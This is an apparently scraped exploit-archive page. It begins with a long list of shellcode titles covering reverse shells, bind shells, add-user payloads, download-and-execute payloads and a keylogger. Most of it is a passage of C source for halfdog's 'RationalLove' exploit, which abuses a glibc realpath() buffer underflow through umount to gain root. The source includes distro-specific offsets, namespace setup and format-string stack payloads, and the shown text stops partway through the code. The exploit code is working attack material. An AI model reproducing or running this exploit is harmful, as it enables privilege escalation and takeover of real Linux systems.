(68 bytes) Linux/x86 - Reverse TCP (127.1.1.1:10) Xterm Shell Shellcode (68 bytes) Windows 7 x86 - localhost Port Scanner Shellcode (556 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Windows/x86 (7) - localhost Port Scanner Shellcode (556 bytes) Linux/x86 - Bind TCP/UDP (98/TCP + UDP) Netcat Shell Shellcode (44/52 bytes) Windows x86 - MessageBoxA Shellcode (242 bytes) Windows x86 - CreateProcessA cmd.exe Shellcode (253 bytes) Windows x86 - InitiateSystemShutdownA() Shellcode (599 bytes) Linux/x86-64 - Bind TCP (4444/TCP) + Stager + Egghunter Shellcode (157 bytes) Linux/x86-64 - Add User (pwned/$pass$) Using open_write_close To /etc/{shadow_passwd} Shellcode (358 bytes) Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd To /etc/{shadow_passwd} Shellcode (273 bytes) Windows/x86 - MessageBoxA Shellcode (242 bytes) Windows/x86 - CreateProcessA cmd.exe Shellcode (253 bytes) Windows/x86 - InitiateSystemShutdownA() Shellcode (599 bytes) Linux/x86-64 - Bind TCP (4444/TCP) + Stager + Egghunter (0x64616564) Shellcode (157 bytes) Linux/x86-64 - Add User (pwned/$pass$) Using open_write_close To /etc/{passwd_shadow} Shellcode (358 bytes) Linux/x86-64 - Add User (pwned/$pass$) Using echo cmd To /etc/{passwd_shadow} Shellcode (273 bytes) Linux/x86-64 - Bind TCP (Random TCP Port) Shell Shellcode (57 bytes) Linux/x86-64 - Bind TCP (Random TCP Port) Shell + Null-Free Shellcode (57 bytes) OSX/PPC - Stager Sock Find MSG_PEEK Shellcode OSX/PPC - Stager Sock Find MSG_PEEK + Null-Free Shellcode OSX/PPC - execve(/bin/sh) Shellcode OSX/PPC - execve(/bin/sh) + Null-Free Shellcode Linux/x86 - socket-proxy Shellcode (372 bytes) (Generator) Linux/x86 - Socket-proxy Shellcode (372 bytes) (Generator) Linux/x86 - rmdir(_/tmp/willdeleted_) Shellcode (41 bytes) Linux/x86 - setdomainname(_th1s s3rv3r h4s b33n h1j4ck3d !!_) Shellcode (58 bytes) Linux/x86 - rmdir(/tmp/willdeleted) Shellcode (41 bytes) Linux/x86 - setdomainname(th1s s3rv3r h4s b33n h1j4ck3d !!) Shellcode (58 bytes) Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (3) Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (5) Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (3) Linux/x86 - Bind TCP (1111/TCP) Shell + SO_REUSEADDR Set (Avoiding SIGSEGV) Shellcode (103 bytes) Linux/x86 - Reverse TCP (127.1.1.1:55555/TCP) Shell Shellcode (72 bytes) Linux/x86 - Bind TCP (Random TCP Port) Shell Shellcode (65 bytes) Linux/x86 - Bind TCP (1111/TCP) Shell + GetPC/Call/Ret Method Shellcode (89 bytes) Linux/x86 - Bind TCP (1111/TCP) Shell Shellcode (73 bytes) Linux/x86 - Bind TCP (Random TCP Port) Shell Shellcode (57 bytes) Linux/x86 - Egghunter Shellcode (38 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Windows x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes) Windows x64 - Reverse TCP (192.168.232.129:4444/TCP) Shell + Injection Shellcode (694 bytes) Linux/x86 - Bind TCP (1111/TCP) Shell + SO_REUSEADDR Set (Avoiding SIGSEGV) + Null-Free Shellcode (103 bytes) Linux/x86 - Reverse TCP (127.1.1.1:55555/TCP) Shell + Null-Free Shellcode (72 bytes) Linux/x86 - Bind TCP (Random TCP Port) Shell + Null-Free Shellcode (65 bytes) Linux/x86 - Bind TCP (1111/TCP) Shell + GetPC/Call/Ret Method + Null-Free Shellcode (89 bytes) Linux/x86 - Bind TCP (1111/TCP) Shell + Null-Free Shellcode (73 bytes) Linux/x86 - Bind TCP (Random TCP Port) Shell + Null-Free Shellcode (57 bytes) Linux/x86 - Egghunter (0x50905090) + Null-Free Shellcode (38 bytes) Linux/x86 - execve(/bin/sh) + Null-Free Shellcode (21 bytes) (6) Linux/x86 - Read /etc/passwd file + Null-Free Shellcode (51 bytes) Linux/x86 - Reboot() + Mutated + Null-Free Shellcode (55 bytes) Linux/x86 - Fork Bomb + Mutated + Null-Free Shellcode (15 bytes) Linux/x86 - execve wget + Mutated + Null-Free Shellcode (96 bytes) Linux/x86 - execve(/bin/sh) + Uzumaki Encoded + Null-Free Shellcode (50 bytes) Linux/x86 - Uzumaki Encryptor Shellcode (Generator) Linux/x86 - Bind TCP (31337/TCP) Shell Shellcode (108 bytes) Linux/x86 - /proc/sys/net/ipv4/ip_forward 0 + exit() Shellcode (83 bytes) Linux/x86 - Egghunter (0x5090) Shellcode (38 bytes) Linux/x86 - execve(/bin/sh) + Obfuscated Shellcode (30 bytes) Linux/x86 - Bind TCP Shell Shellcode (112 bytes) Linux/x86 - Reverse TCP (127.1.1.1:12345/TCP) cat /etc/passwd Shellcode (111 bytes) Linux/x86 - Download File (http://192.168.2.222/x) + chmod() + execute Shellcode (108 bytes) Linux/x86 - execve(/bin/sh) + Using jump/call/pop Shellcode (52 bytes) Linux/x86 - Copy /etc/passwd to /tmp/outfile Shellcode (97 bytes) Linux/x86 - shift-bit execve() Encoder Shellcode (114 bytes) Linux/x86 - execve() Using JMP-FSTENV Shellcode (67 bytes) Linux/x86 - chmod 0777 /etc/shadow + Obfuscated Shellcode (51 bytes) Linux/x86 - shutdown -h now Shellcode (56 bytes) Linux/x86 - Bind TCP (1337/TCP) Shell Shellcode (89 bytes) Linux/x86 - Reverse TCP (127.1.1.1:1337/TCP) Shell Shellcode (74 bytes) Linux/x86 - setreuid() + execve(/usr/bin/python) Shellcode (54 bytes) Linux/x86 - execve() + ROT-7 Shellcode (Encoder/Decoder) (74 bytes) Windows/x86 (NT/XP/2000/2003) - Bind TCP (8721/TCP) Shell Shellcode (356 bytes) Windows/x86 (2000) - Reverse TCP (192.168.0.247:8721/TCP) Connect + Vampiric Import Shellcode (179 bytes) Windows/x86 - Create Admin User (X) Shellcode (304 bytes) Windows/x86 (XP SP3) (French) - Sleep 90 Seconds Shellcode (14 bytes) Windows/x86 (XP Professional SP2) (English) - Wordpad Shellcode (15 bytes) Windows/x86 (XP Professional SP2) - calc Shellcode (57 bytes) Windows/x86 (XP Professional SP3) (French) - calc.exe Shellcode (31 bytes) Windows/x86 - Download File (http://skypher.com/dll) + LoadLibrary + Null-Free Shellcode (164 bytes) Windows/x86 - calc.exe + Null-Free Shellcode (100 bytes) Windows/x86 - Message Box + Null-Free Shellcode (140 bytes) Windows/x86 (XP SP3) (Turkish) - MessageBoxA Shellcode (109 bytes) Windows/x86 (XP SP3) (Turkish) - calc.exe Shellcode (53 bytes) Windows/x86 (XP SP3) (Turkish) - cmd.exe Shellcode (52 bytes) Windows/x86 (XP SP3) (Turkish) - cmd.exe Shellcode (42 bytes) Windows/x86 (XP SP3) (English) - calc Shellcode (16 bytes) Windows/x86 (XP SP3) - MessageBox Shellcode (11 bytes) Windows/x86-64 - cmd.exe WinExec() Shellcode (93 bytes) Windows/x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes) Windows/x86-64 - Reverse TCP (192.168.232.129:4444/TCP) Shell + Injection Shellcode (694 bytes) Windows x64 - Download File (http://192.168.10.129/pl.exe) + Execute (C:/Users/Public/p.exe) Shellcode (358 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve(/bin/bash -c) Arbitrary Command Execution Null-Free Shellcode (72 bytes) Windows x64 - Bind TCP (2493/TCP) Shell + Password (h271508F) Shellcode (825 bytes) Windows x64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes) Linux/x86-64 - mkdir Shellcode (25 bytes) Windows/x86-64 - Download File (http://192.168.10.129/pl.exe) + Execute (C:/Users/Public/p.exe) Shellcode (358 bytes) Linux/x86 - Reverse TCP Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve(/bin/bash -c) Arbitrary Command Execution + Null-Free Shellcode (72 bytes) Windows/x86-64 - Bind TCP (2493/TCP) Shell + Password (h271508F) Shellcode (825 bytes) Windows/x86-64 - CreateRemoteThread() DLL Injection Shellcode (584 bytes) Linux/x86-64 - mkdir() Shellcode (25 bytes) Windows x86 - SE_DACL_PROTECTED Protect Process Shellcode (229 bytes) Windows/x86 - SE_DACL_PROTECTED Protect Process Shellcode (229 bytes) Linux/x86-64 - Egghunter Shellcode (38 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Egghunter (0xDEADC0DE) Shellcode (38 bytes) Windows/x86 - Executable Directory Search + Null-Free Shellcode (130 bytes) Windows x86 - Reverse TCP (127.0.0.1:4444/TCP) Shell + Staged + Alphanumeric Shellcode (332 bytes) Windows/x86 - Reverse TCP (127.0.0.1:4444/TCP) Shell + Staged + Alphanumeric Shellcode (332 bytes) Windows x86 - Hide Console Window Shellcode (182 bytes) Windows/x86 - Hide Console Window Shellcode (182 bytes) Linux/ARM - chmod(_/etc/passwd__ 0777) Shellcode (39 bytes) Linux/ARM - chmod( /etc/passwd 0777) Shellcode (39 bytes) Linux/SPARC - setreuid(0_0) + standard execve() Shellcode (72 bytes) Linux/SPARC - setreuid(0_0) + execve() Shellcode (72 bytes) Linux/x86-64 - sys_access() Egghunter Shellcode (49 bytes) Linux/x86-64 - Bind TCP (1337/TCP) Shell + Password (pAzzW0rd) + Egghunter Using sys_access() Shellcode (49 bytes) Linux/x86 - exceve /bin/sh Encoded Shellcode (44 bytes) Linux/x86 - exceve(/bin/sh) + Encoded Shellcode (44 bytes) Linux/x86 - Insertion Decoder + Null-Free Shellcode (33+ bytes) Windows 10 x64 - Egghunter Shellcode (45 bytes) Windows/x86-64 (10) - Egghunter Shellcode (45 bytes) Linux/x86 - Egghunter Shellcode (18 bytes) Linux/x86 - Egghunter (0x50905090) + /bin/sh Shellcode (18 bytes) Windows x86/x64 - cmd.exe Shellcode (718 bytes) Windows/x86-64 / x86 - cmd.exe Shellcode (718 bytes) Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) + XOR Encoded Shellcode (66 bytes) Linux/x86 - execve(/bin/sh) Shellcode (24 bytes) Linux/x86 - execve(/bin/sh) Shellcode (24 bytes) (4) Linux/x86-64 - mkdir() 'evil' Shellcode (30 bytes) Linux/x86-64 - mkdir(evil) Shellcode (30 bytes) Windows x64 - API Hooking Shellcode (117 bytes) Windows/x86-64 - API Hooking Shellcode (117 bytes)
977 lines
No EOL
36 KiB
C
977 lines
No EOL
36 KiB
C
/** This software is provided by the copyright owner "as is" and any
|
|
* expressed or implied warranties, including, but not limited to,
|
|
* the implied warranties of merchantability and fitness for a particular
|
|
* purpose are disclaimed. In no event shall the copyright owner be
|
|
* liable for any direct, indirect, incidential, special, exemplary or
|
|
* consequential damages, including, but not limited to, procurement
|
|
* of substitute goods or services, loss of use, data or profits or
|
|
* business interruption, however caused and on any theory of liability,
|
|
* whether in contract, strict liability, or tort, including negligence
|
|
* or otherwise, arising in any way out of the use of this software,
|
|
* even if advised of the possibility of such damage.
|
|
*
|
|
* Copyright (c) 2018 halfdog <me (%) halfdog.net>
|
|
* See https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ for more information.
|
|
*
|
|
* This tool exploits a buffer underflow in glibc realpath()
|
|
* and was tested against latest release from Debian, Ubuntu
|
|
* Mint. It is intended as demonstration of ASLR-aware exploitation
|
|
* techniques. It uses relative binary offsets, that may be different
|
|
* for various Linux distributions and builds. Please send me
|
|
* a patch when you developed a new set of parameters to add
|
|
* to the osSpecificExploitDataList structure and want to contribute
|
|
* them.
|
|
*
|
|
* Compile: gcc -o RationalLove RationalLove.c
|
|
* Run: ./RationalLove
|
|
*
|
|
* You may also use "--Pid" parameter, if you want to test the
|
|
* program on already existing namespaced or chrooted mounts.
|
|
*/
|
|
|
|
#define _GNU_SOURCE
|
|
#include <assert.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <limits.h>
|
|
#include <poll.h>
|
|
#include <sched.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/mount.h>
|
|
#include <sys/stat.h>
|
|
#include <sys/wait.h>
|
|
#include <time.h>
|
|
#include <unistd.h>
|
|
|
|
|
|
#define UMOUNT_ENV_VAR_COUNT 256
|
|
|
|
/** Dump that number of bytes from stack to perform anti-ASLR.
|
|
* This number should be high enough to reproducible reach the
|
|
* stack region sprayed with (UMOUNT_ENV_VAR_COUNT*8) bytes of
|
|
* environment variable references but low enough to avoid hitting
|
|
* upper stack limit, which would cause a crash.
|
|
*/
|
|
#define STACK_LONG_DUMP_BYTES 4096
|
|
|
|
char *messageCataloguePreamble="Language: en\n"
|
|
"MIME-Version: 1.0\n"
|
|
"Content-Type: text/plain; charset=UTF-8\n"
|
|
"Content-Transfer-Encoding: 8bit\n";
|
|
|
|
/** The pid of a namespace process with the working directory
|
|
* at a writable /tmp only visible by the process. */
|
|
pid_t namespacedProcessPid=-1;
|
|
|
|
int killNamespacedProcessFlag=1;
|
|
|
|
/** The pathname to the umount binary to execute. */
|
|
char *umountPathname;
|
|
|
|
/** The pathname to the named pipe, that will synchronize umount
|
|
* binary with supervisory process before triggering the second
|
|
* and last exploitation phase.
|
|
*/
|
|
char *secondPhaseTriggerPipePathname;
|
|
|
|
/** The pathname to the second phase exploitation catalogue file.
|
|
* This is needed as the catalogue cannot be sent via the trigger
|
|
* pipe from above.
|
|
*/
|
|
char *secondPhaseCataloguePathname;
|
|
|
|
/** The OS-release detected via /etc/os-release. */
|
|
char *osRelease=NULL;
|
|
|
|
/** This table contains all relevant information to adapt the
|
|
* attack to supported Linux distros (fully updated) to support
|
|
* also older versions, hash of umount/libc/libmount should be
|
|
* used also for lookups.
|
|
* The 4th string is an array of 4-byte integers with the offset
|
|
* values for format string generation. Values specify:
|
|
* * Stack position (in 8 byte words) for **argv
|
|
* * Stack position of argv[0]
|
|
* * Offset from __libc_start_main return position from main()
|
|
* and system() function, first instruction after last sigprocmask()
|
|
* before execve call.
|
|
*/
|
|
#define ED_STACK_OFFSET_CTX 0
|
|
#define ED_STACK_OFFSET_ARGV 1
|
|
#define ED_STACK_OFFSET_ARG0 2
|
|
#define ED_LIBC_GETDATE_DELTA 3
|
|
#define ED_LIBC_EXECL_DELTA 4
|
|
static char* osSpecificExploitDataList[]={
|
|
// Debian Stretch
|
|
"\"9 (stretch)\"",
|
|
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
|
"from_archive",
|
|
// Delta for Debian Stretch "2.24-11+deb9u1"
|
|
"\x06\0\0\0\x24\0\0\0\x3e\0\0\0\x7f\xb9\x08\x00\x4f\x86\x09\x00",
|
|
// Ubuntu Xenial libc=2.23-0ubuntu9
|
|
"\"16.04.3 LTS (Xenial Xerus)\"",
|
|
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
|
"_nl_load_locale_from_archive",
|
|
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
|
// Linux Mint 18.3 Sylvia - same parameters as "Ubuntu Xenial"
|
|
"\"18.3 (Sylvia)\"",
|
|
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
|
"_nl_load_locale_from_archive",
|
|
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00",
|
|
NULL};
|
|
|
|
char **osReleaseExploitData=NULL;
|
|
|
|
/** Locate the umount binary within the given search path list,
|
|
* elements separated by colons.
|
|
* @return a pointer to a malloced memory region containing the
|
|
* string or NULL if not found.
|
|
*/
|
|
char* findUmountBinaryPathname(char *searchPath) {
|
|
char *testPathName=(char*)malloc(PATH_MAX);
|
|
assert(testPathName);
|
|
|
|
while(*searchPath) {
|
|
char *endPtr=strchr(searchPath, ':');
|
|
int length=endPtr-searchPath;
|
|
if(!endPtr) {
|
|
length=strlen(searchPath);
|
|
endPtr=searchPath+length-1;
|
|
}
|
|
int result=snprintf(testPathName, PATH_MAX, "%.*s/%s", length,
|
|
searchPath, "umount");
|
|
if(result>=PATH_MAX) {
|
|
fprintf(stderr, "Binary search path element too long, ignoring it.\n");
|
|
} else {
|
|
struct stat statBuf;
|
|
result=stat(testPathName, &statBuf);
|
|
// Just assume, that umount is owner-executable. There might be
|
|
// alternative ACLs, which grant umount execution only to selected
|
|
// groups, but it would be unusual to have different variants
|
|
// of umount located searchpath on the same host.
|
|
if((!result)&&(S_ISREG(statBuf.st_mode))&&(statBuf.st_mode&S_IXUSR)) {
|
|
return(testPathName);
|
|
}
|
|
}
|
|
searchPath=endPtr+1;
|
|
}
|
|
|
|
free(testPathName);
|
|
return(NULL);
|
|
}
|
|
|
|
|
|
/** Get the value for a given field name.
|
|
* @return NULL if not found, a malloced string otherwise.
|
|
*/
|
|
char* getReleaseFileField(char *releaseData, int dataLength, char *fieldName) {
|
|
int nameLength=strlen(fieldName);
|
|
while(dataLength>0) {
|
|
char *nextPos=memchr(releaseData, '\n', dataLength);
|
|
int lineLength=dataLength;
|
|
if(nextPos) {
|
|
lineLength=nextPos-releaseData;
|
|
nextPos++;
|
|
} else {
|
|
nextPos=releaseData+dataLength;
|
|
}
|
|
if((!strncmp(releaseData, fieldName, nameLength))&&
|
|
(releaseData[nameLength]=='=')) {
|
|
return(strndup(releaseData+nameLength+1, lineLength-nameLength-1));
|
|
}
|
|
releaseData=nextPos;
|
|
dataLength-=lineLength;
|
|
}
|
|
return(NULL);
|
|
}
|
|
|
|
|
|
/** Detect the release by reading the VERSION field from /etc/os-release.
|
|
* @return 0 on success.
|
|
*/
|
|
int detectOsRelease() {
|
|
int handle=open("/etc/os-release", O_RDONLY);
|
|
if(handle<0)
|
|
return(-1);
|
|
|
|
char *buffer=alloca(1024);
|
|
int infoLength=read(handle, buffer, 1024);
|
|
close(handle);
|
|
if(infoLength<0)
|
|
return(-1);
|
|
osRelease=getReleaseFileField(buffer, infoLength, "VERSION");
|
|
if(!osRelease)
|
|
osRelease=getReleaseFileField(buffer, infoLength, "NAME");
|
|
if(osRelease) {
|
|
fprintf(stderr, "Detected OS version: %s\n", osRelease);
|
|
return(0);
|
|
}
|
|
|
|
return(-1);
|
|
}
|
|
|
|
|
|
/** Create the catalogue data in memory.
|
|
* @return a pointer to newly allocated catalogue data memory
|
|
*/
|
|
char* createMessageCatalogueData(char **origStringList, char **transStringList,
|
|
int stringCount, int *catalogueDataLength) {
|
|
int contentLength=strlen(messageCataloguePreamble)+2;
|
|
for(int stringPos=0; stringPos<stringCount; stringPos++) {
|
|
contentLength+=strlen(origStringList[stringPos])+
|
|
strlen(transStringList[stringPos])+2;
|
|
}
|
|
int preambleLength=(0x1c+0x14*(stringCount+1)+0xc)&-0xf;
|
|
char *catalogueData=(char*)malloc(preambleLength+contentLength);
|
|
memset(catalogueData, 0, preambleLength);
|
|
int *preambleData=(int*)catalogueData;
|
|
*preambleData++=0x950412de;
|
|
preambleData++;
|
|
*preambleData++=stringCount+1;
|
|
*preambleData++=0x1c;
|
|
*preambleData++=(*(preambleData-2))+(stringCount+1)*sizeof(int)*2;
|
|
*preambleData++=0x5;
|
|
*preambleData++=(*(preambleData-3))+(stringCount+1)*sizeof(int)*2;
|
|
|
|
char *nextCatalogueStringStart=catalogueData+preambleLength;
|
|
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
|
char *writeString=(stringPos<0)?"":origStringList[stringPos];
|
|
int length=strlen(writeString);
|
|
*preambleData++=length;
|
|
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
|
memcpy(nextCatalogueStringStart, writeString, length+1);
|
|
nextCatalogueStringStart+=length+1;
|
|
}
|
|
for(int stringPos=-1; stringPos<stringCount; stringPos++) {
|
|
char *writeString=(stringPos<0)?messageCataloguePreamble:transStringList[stringPos];
|
|
int length=strlen(writeString);
|
|
*preambleData++=length;
|
|
*preambleData++=(nextCatalogueStringStart-catalogueData);
|
|
memcpy(nextCatalogueStringStart, writeString, length+1);
|
|
nextCatalogueStringStart+=length+1;
|
|
}
|
|
assert(nextCatalogueStringStart-catalogueData==preambleLength+contentLength);
|
|
for(int stringPos=0; stringPos<=stringCount+1; stringPos++) {
|
|
// *preambleData++=(stringPos+1);
|
|
*preambleData++=(int[]){1, 3, 2, 0, 4}[stringPos];
|
|
}
|
|
*catalogueDataLength=preambleLength+contentLength;
|
|
return(catalogueData);
|
|
}
|
|
|
|
|
|
/** Create the catalogue data from the string lists and write
|
|
* it to the given file.
|
|
* @return 0 on success.
|
|
*/
|
|
int writeMessageCatalogue(char *pathName, char **origStringList,
|
|
char **transStringList, int stringCount) {
|
|
int catalogueFd=open(pathName, O_WRONLY|O_CREAT|O_TRUNC|O_NOCTTY, 0644);
|
|
if(catalogueFd<0) {
|
|
fprintf(stderr, "Failed to open catalogue file %s for writing.\n",
|
|
pathName);
|
|
return(-1);
|
|
}
|
|
int catalogueDataLength;
|
|
char *catalogueData=createMessageCatalogueData(
|
|
origStringList, transStringList, stringCount, &catalogueDataLength);
|
|
int result=write(catalogueFd, catalogueData, catalogueDataLength);
|
|
assert(result==catalogueDataLength);
|
|
close(catalogueFd);
|
|
free(catalogueData);
|
|
return(0);
|
|
}
|
|
|
|
void createDirectoryRecursive(char *namespaceMountBaseDir, char *pathName) {
|
|
char pathBuffer[PATH_MAX];
|
|
int pathNameLength=0;
|
|
while(1) {
|
|
char *nextPathSep=strchr(pathName+pathNameLength, '/');
|
|
if(nextPathSep) {
|
|
pathNameLength=nextPathSep-pathName;
|
|
} else {
|
|
pathNameLength=strlen(pathName);
|
|
}
|
|
int result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/%.*s",
|
|
namespaceMountBaseDir, pathNameLength, pathName);
|
|
assert(result<PATH_MAX);
|
|
result=mkdir(pathBuffer, 0755);
|
|
assert((!result)||(errno==EEXIST));
|
|
if(!pathName[pathNameLength])
|
|
break;
|
|
pathNameLength++;
|
|
}
|
|
}
|
|
|
|
|
|
/** This child function prepares the namespaced mount point and
|
|
* then waits to be killed later on.
|
|
*/
|
|
static int usernsChildFunction() {
|
|
while(geteuid()!=0) {
|
|
sched_yield();
|
|
}
|
|
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL);
|
|
assert(!result);
|
|
assert(!chdir("/tmp"));
|
|
int handle=open("ready", O_WRONLY|O_CREAT|O_EXCL|O_NOFOLLOW|O_NOCTTY, 0644);
|
|
assert(handle>=0);
|
|
close(handle);
|
|
sleep(100000);
|
|
}
|
|
|
|
/** Prepare a process living in an own mount namespace and setup
|
|
* the mount structure appropriately. The process is created
|
|
* in a way allowing cleanup at program end by just killing it,
|
|
* thus removing the namespace.
|
|
* @return the pid of that process or -1 on error.
|
|
*/
|
|
pid_t prepareNamespacedProcess() {
|
|
if(namespacedProcessPid==-1) {
|
|
fprintf(stderr, "No pid supplied via command line, trying to create a namespace\nCAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.\n");
|
|
|
|
char *stackData=(char*)malloc(1<<20);
|
|
assert(stackData);
|
|
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
|
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL);
|
|
if(namespacedProcessPid==-1) {
|
|
fprintf(stderr, "USERNS clone failed: %d (%s)\n", errno, strerror(errno));
|
|
return(-1);
|
|
}
|
|
|
|
char idMapFileName[128];
|
|
char idMapData[128];
|
|
sprintf(idMapFileName, "/proc/%d/setgroups", namespacedProcessPid);
|
|
int setGroupsFd=open(idMapFileName, O_WRONLY);
|
|
assert(setGroupsFd>=0);
|
|
int result=write(setGroupsFd, "deny", 4);
|
|
assert(result>0);
|
|
close(setGroupsFd);
|
|
|
|
sprintf(idMapFileName, "/proc/%d/uid_map", namespacedProcessPid);
|
|
int uidMapFd=open(idMapFileName, O_WRONLY);
|
|
assert(uidMapFd>=0);
|
|
sprintf(idMapData, "0 %d 1\n", getuid());
|
|
result=write(uidMapFd, idMapData, strlen(idMapData));
|
|
assert(result>0);
|
|
close(uidMapFd);
|
|
|
|
sprintf(idMapFileName, "/proc/%d/gid_map", namespacedProcessPid);
|
|
int gidMapFd=open(idMapFileName, O_WRONLY);
|
|
assert(gidMapFd>=0);
|
|
sprintf(idMapData, "0 %d 1\n", getgid());
|
|
result=write(gidMapFd, idMapData, strlen(idMapData));
|
|
assert(result>0);
|
|
close(gidMapFd);
|
|
|
|
// After setting the maps for the child process, the child may
|
|
// start setting up the mount point. Wait for that to complete.
|
|
sleep(1);
|
|
fprintf(stderr, "Namespaced filesystem created with pid %d\n",
|
|
namespacedProcessPid);
|
|
}
|
|
|
|
osReleaseExploitData=osSpecificExploitDataList;
|
|
if(osRelease) {
|
|
// If an OS was detected, try to find it in list. Otherwise use
|
|
// default.
|
|
for(int tPos=0; osSpecificExploitDataList[tPos]; tPos+=4) {
|
|
if(!strcmp(osSpecificExploitDataList[tPos], osRelease)) {
|
|
osReleaseExploitData=osSpecificExploitDataList+tPos;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
char pathBuffer[PATH_MAX];
|
|
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
|
namespacedProcessPid);
|
|
assert(result<PATH_MAX);
|
|
char *namespaceMountBaseDir=strdup(pathBuffer);
|
|
assert(namespaceMountBaseDir);
|
|
|
|
// Create directories needed for umount to proceed to final state
|
|
// "not mounted".
|
|
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x");
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
|
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
|
assert(result<PATH_MAX);
|
|
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
|
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
|
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
|
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
|
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
|
|
|
// Create symlink to trigger underflows.
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
|
namespaceMountBaseDir);
|
|
assert(result<PATH_MAX);
|
|
result=symlink(osReleaseExploitData[1], pathBuffer);
|
|
assert(!result||(errno==EEXIST));
|
|
|
|
// getdate will leave that string in rdi to become the filename
|
|
// to execute for the next round.
|
|
char *selfPathName=realpath("/proc/self/exe", NULL);
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/DATEMSK",
|
|
namespaceMountBaseDir);
|
|
assert(result<PATH_MAX);
|
|
int handle=open(pathBuffer, O_WRONLY|O_CREAT|O_TRUNC, 0755);
|
|
assert(handle>0);
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer), "#!%s\nunused",
|
|
selfPathName);
|
|
assert(result<PATH_MAX);
|
|
result=write(handle, pathBuffer, result);
|
|
close(handle);
|
|
free(selfPathName);
|
|
|
|
// Write the initial message catalogue to trigger stack dumping
|
|
// and to make the "umount" call privileged by toggling the "restricted"
|
|
// flag in the context.
|
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
|
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
|
namespaceMountBaseDir, osReleaseExploitData[2]);
|
|
assert(result<PATH_MAX);
|
|
|
|
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
|
assert(stackDumpStr);
|
|
char *stackDumpStrEnd=stackDumpStr;
|
|
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
|
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
|
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) {
|
|
memcpy(stackDumpStrEnd, "%016lx", 6);
|
|
stackDumpStrEnd+=6;
|
|
}
|
|
// We wrote allready 8 bytes, write so many more to produce a
|
|
// count of 'L' and write that to the stack. As all writes so
|
|
// sum up to a count aligned by 8, and 'L'==0x4c, we will have
|
|
// to write at least 4 bytes, which is longer than any "%hhx"
|
|
// format string output. Hence do not care about the byte content
|
|
// here. The target write address has a 16 byte alignment due
|
|
// to varg structure.
|
|
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "%%1$%dhhx%%%d$hhn",
|
|
('L'-8-STACK_LONG_DUMP_BYTES*2)&0xff,
|
|
STACK_LONG_DUMP_BYTES/16);
|
|
*stackDumpStrEnd=0;
|
|
result=writeMessageCatalogue(pathBuffer,
|
|
(char*[]){
|
|
"%s: mountpoint not found",
|
|
"%s: not mounted",
|
|
